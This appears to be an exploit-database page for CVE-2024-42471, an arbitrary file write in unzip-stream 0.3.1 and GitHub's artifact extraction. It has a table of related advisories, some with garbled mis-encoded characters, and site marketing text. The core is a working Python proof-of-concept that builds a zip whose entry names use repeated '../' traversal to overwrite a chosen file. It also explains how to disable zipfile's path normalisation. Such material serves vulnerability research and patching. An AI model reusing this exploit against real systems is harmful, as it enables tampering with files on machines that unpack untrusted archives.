| Reporter | Title | Published | Views | Family All 18 |
|---|---|---|---|---|
| Exploit for Exposure of Resource to Wrong Sphere in Linuxfoundation Containerd | 29 Mar 202619:15 | โ | githubexploit | |
| Exploit for Exposure of Resource to Wrong Sphere in Linuxfoundation Containerd | 29 Mar 202619:03 | โ | githubexploit | |
| CVE-2024-42471 | 2 Sep 202421:24 | โ | circl | |
| GitHub Actions Toolkit ่ทฏๅพ้ๅๆผๆด | 2 Sep 202400:00 | โ | cnnvd | |
| CVE-2024-42471 | 2 Sep 202416:13 | โ | cve | |
| CVE-2024-42471 Arbitrary File Write via artifact extraction in actions/artifact | 2 Sep 202416:13 | โ | cvelist | |
| EUVD-2024-2737 | 3 Oct 202520:07 | โ | euvd | |
| @actions/artifact has an Arbitrary File Write via artifact extraction | 3 Sep 202420:08 | โ | github | |
| @actions/download-artifact has an Arbitrary File Write via artifact extraction | 3 Sep 202420:55 | โ | github | |
| @actions/artifact has an Arbitrary File Write via artifact extraction | 3 Sep 202400:00 | โ | gitlab |
# Exploit Title: unzip-stream 0.3.1 - Arbitrary File Write
# Date: 18th April, 2024
# Exploit Author: Ardayfio Samuel Nii Aryee
# Software link: https://github.com/mhr3/unzip-stream
# Version: unzip-stream 0.3.1
# Tested on: Ubuntu
# CVE: CVE-2024-42471
# NB: Python's built-in `zipfile` module has limitations on the `arcname` parameter.
# To bypass this restriction, edit the module's source code (`zipfile.py`) and comment out the following line:
# arcname = os.path.normpath(os.path.splitdrive(arcname)[1])
# For a more detailed explanation, feel free to check out my blog post here: https://themcsam.github.io/posts/unzip-stream-PoC/
import zipfile
import os
import sys
file_path = './poc' # Change to the file which contains the data to write
zip_name = 'evil.zip'
path_to_overwrite_file = 'home/mcsam/pocc' # Change to target file to write/overwrite
if not os.path.isfile(file_path):
print(f"Error: File '{file_path}' does not exist.")
sys.exit()
with zipfile.ZipFile(zip_name, 'w', zipfile.ZIP_DEFLATED) as zipf:
zipf.write(file_path, \
arcname=f'hack/../../../../../../../../../../../../../../{path_to_overwrite_file}')
print(f"File '{file_path}' has been zipped as '{zip_name}'.")Data
Build on a solid foundation withย Vulners data
Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data
Api
Power your application withย Vulners API
The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access
App
Assess and manage vulnerabilities withย Vulnersย tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation